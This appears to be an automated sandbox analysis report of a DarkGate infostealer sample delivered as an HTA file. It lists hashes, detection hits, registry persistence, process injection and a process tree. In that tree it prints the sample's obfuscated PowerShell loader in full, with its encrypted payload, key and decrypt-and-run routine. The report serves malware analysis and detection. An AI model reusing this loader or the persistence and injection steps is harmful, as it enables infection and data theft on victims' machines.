darkgate | afc48453e2b08d97ee3b4f7ec1d8cb4114a8f6d3ff587ce4b90f52d39d4041fb

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
05/02/2024, 14:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
05022024_2211_fufu.hta
Size 75KB
Sample240205-rhkveshef2
SHA256 afc48453e2b08d97ee3b4f7ec1d8cb4114a8f6d3ff587ce4b90f52d39d4041fb
MD5 a07c36f20a3b3a23a67121498568de52
SHA1 e535ca98e7003dd977956b0b908fcbacd0e16665
SHA512 3646899ece8e2016284bedff73ad2b5db91db8d9adc487ead622a4a332406ca7323ba9d431de1a49810d502f9bcd2944fbc5ea6aec459b62fd5bb266ee0c7b65
SSDEEP 768:t7GFSdFRtWQtv4bfQiOoLbCKWNa3e40gzNU+/unhi1zOz:hGFSdsQtv4pC9N74ZJUti5Oz
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate persistence stealer

Malware Config

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 38 IoCs

resource	yara_rule
behavioral2/memory/4280-104-0x0000000005B30000-0x0000000005E7E000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-154-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-158-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-155-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-153-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/4280-159-0x0000000005B30000-0x0000000005E7E000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-166-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-169-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-173-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-175-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-171-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-177-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-272-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-278-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-279-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-280-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-286-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-287-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-294-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-295-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-302-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-303-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-310-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-311-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-318-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-319-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-326-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-327-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-334-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-335-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-342-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-343-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-350-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-351-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-358-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-359-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/5048-366-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6
behavioral2/memory/2320-367-0x0000000000400000-0x0000000000470000-memory.dmp	family_darkgate_v6

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 4280 created 2972	4280	Autoit3.exe	61
PID 2320 created 1500	2320	vbc.exe	39
PID 2320 created 2696	2320	vbc.exe	59

Blocklisted process makes network request 2 IoCs

flow	pid	Process
15	3564	powershell.exe
17	3564	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
4280	Autoit3.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EEfcEeH = "C:\\ProgramData\\bfbebeb\\Autoit3.exe C:\\ProgramData\\bfbebeb\\hhacghc.au3"	vbc.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4280 set thread context of 2320	4280	Autoit3.exe	104
PID 2320 set thread context of 5048	2320	vbc.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Autoit3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Autoit3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	vbc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	vbc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 38 IoCs

pid	Process
4664	powershell.exe
4664	powershell.exe
3564	powershell.exe
3564	powershell.exe
4280	Autoit3.exe
4280	Autoit3.exe
4280	Autoit3.exe
4280	Autoit3.exe
4280	Autoit3.exe
4280	Autoit3.exe
2320	vbc.exe
2320	vbc.exe
2320	vbc.exe
2320	vbc.exe
2320	vbc.exe
2320	vbc.exe
5048	vbc.exe
5048	vbc.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2320	vbc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4948	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe
4948	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4932 wrote to memory of 4664	4932	mshta.exe	83
PID 4932 wrote to memory of 4664	4932	mshta.exe	83
PID 4932 wrote to memory of 4664	4932	mshta.exe	83
PID 4664 wrote to memory of 3564	4664	powershell.exe	85
PID 4664 wrote to memory of 3564	4664	powershell.exe	85
PID 4664 wrote to memory of 3564	4664	powershell.exe	85
PID 3564 wrote to memory of 4948	3564	powershell.exe	90
PID 3564 wrote to memory of 4948	3564	powershell.exe	90
PID 3564 wrote to memory of 4948	3564	powershell.exe	90
PID 3564 wrote to memory of 4280	3564	powershell.exe	92
PID 3564 wrote to memory of 4280	3564	powershell.exe	92
PID 3564 wrote to memory of 4280	3564	powershell.exe	92
PID 4948 wrote to memory of 2148	4948	AcroRd32.exe	93
PID 4948 wrote to memory of 2148	4948	AcroRd32.exe	93
PID 4948 wrote to memory of 2148	4948	AcroRd32.exe	93
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2008	2148	RdrCEF.exe	97
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96
PID 2148 wrote to memory of 2012	2148	RdrCEF.exe	96

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\InputApp\TextInputHost.exe" -ServerName:InputApp.AppX9jnwykgrccxc8by3hsrsh07r423xzvav.mca
1⤵
PID:1500

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:2696
- \??\c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
  c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
  2⤵
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:5048

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2972
- \??\c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
  c:\windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  PID:2320

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2211_fufu.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4932
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $wZnLlEP = 'AAAAAAAAAAAAAAAAAAAAAKjO8GSphKaUS2Q/99c08yaF74QUfdC/7TJpr0BIexXotoXpUUr1lzZPemeYniNRPTzO+u94C+QyKge4MRzV3AGeg9FGoOGOvn+M73m7HNtxvwsHCt47tAuRH09iYYSG0w/BawvhkA8ll80IcIedId18DF84C9XsGn56AlkAr8ZeIVbnVbTiLjIJjhLjGKQzV6/UWUPD9XnojEuKrGGuICJnTBT8OUaIQNSyD/Bz61aTPMoZtx0+WA+paWV3s7fc9wxmzrmIkgbkj6fsyKDZUFhMXtenfsGsmFIFTjAlqasLXqusNhuRuc09ryq8ANSKy8pvxA3J3nWVtdeFCnfgJ1u6vgC+JTQNvOMps6H7IpCAkd3UQtiqqQfdbphJqIIkyv6t/BhAibHPDyhUQIyEkegtsMoEApvSdFR+UZBdiRQyYKtzEzxroPmdE66RWPCpm3VsKWQYa17IoYg9v5j8+uO63Zmbzseb2816NhtPu+v0pK9DxzfCfggC/YiL/WrhCP1W+aMRHzgtSh3IMzWqd6Q74+NA7Chxu4ZqCVw50nm6yGE0Sy7gax19LXA+fzDciciabzw29jkZYrT2iNmN3kBwqQpEBVsOc8S1/IKlN665E4V9XW/osx8WIovLzFO5avomt4oMgAlTmSN4XMlqv/CsaJU7jxpVv9H/i0Ij8ksBwfhhNQqIbDDHx1e/dp3WM2PAshRoVlSNVzL0jLbFtxbFZfP89S/h5qk93LfNXUafPJlzQF1aPdu23vLA0MOeIs/o6owAc9w28ckrpyO/U4nk9fJkqLr425QKV2wOgtK4kdMtetIgWrOMD0Thzqf6yR8nssNGL3dXR2S08MjOqtLyO43FK47wsAlU9nNZYE3njsU6NC7wppnMt9ZH228Jk3MxekxHl6lp4F+8lnB2nlM7xAXofh8ONDmwq17mjHkJDzRVjG6YXi/9KDp8Gn/xaIh+m7tsOxRIjfduhZAYYOA=';$dOdBXg = 'VGpZQUlOVERKVGhvRGx5T1dLZFpLemNQV1NmZVFmS1E=';$xwkNnD = New-Object 'System.Security.Cryptography.AesManaged';$xwkNnD.Mode = [System.Security.Cryptography.CipherMode]::ECB;$xwkNnD.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$xwkNnD.BlockSize = 128;$xwkNnD.KeySize = 256;$xwkNnD.Key = [System.Convert]::FromBase64String($dOdBXg);$pCZGI = [System.Convert]::FromBase64String($wZnLlEP);$bPSESAtp = $pCZGI[0..15];$xwkNnD.IV = $bPSESAtp;$tTZpoitHh = $xwkNnD.CreateDecryptor();$utsWucKhE = $tTZpoitHh.TransformFinalBlock($pCZGI, 16, $pCZGI.Length - 16);$xwkNnD.Dispose();$sdUVLsOW = New-Object System.IO.MemoryStream( , $utsWucKhE );$KpoNp = New-Object System.IO.MemoryStream;$BcWOdcPWe = New-Object System.IO.Compression.GzipStream $sdUVLsOW, ([IO.Compression.CompressionMode]::Decompress);$BcWOdcPWe.CopyTo( $KpoNp );$BcWOdcPWe.Close();$sdUVLsOW.Close();[byte[]] $mpOqT = $KpoNp.ToArray();$vggnI = [System.Text.Encoding]::UTF8.GetString($mpOqT);$vggnI | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Blocklisted process makes network request
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3564
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\p1345.pdf"
      4⤵
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4948
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2148
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=03CB79796B22A048E5E4FA88ABBEC256 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=03CB79796B22A048E5E4FA88ABBEC256 --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:2012
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=10FF66D21F0392E7D8F385F5298DDB59 --mojo-platform-channel-handle=1736 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:2008
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=82C37AB096029C8340E23913AE2B6516 --mojo-platform-channel-handle=2308 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:4344
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=06DD2FF191EA3E862BDEF2F246BE8468 --mojo-platform-channel-handle=1828 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:4728
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=54D4952DECB67527B8EE8F5E0D04091A --mojo-platform-channel-handle=2424 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        
        PID:2452
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=AC8E427C0DBC54B454F31F217C68EEAF --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=AC8E427C0DBC54B454F31F217C68EEAF --renderer-client-id=7 --mojo-platform-channel-handle=2448 --allow-no-sandbox-job /prefetch:1
        6⤵
        
        PID:4396
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
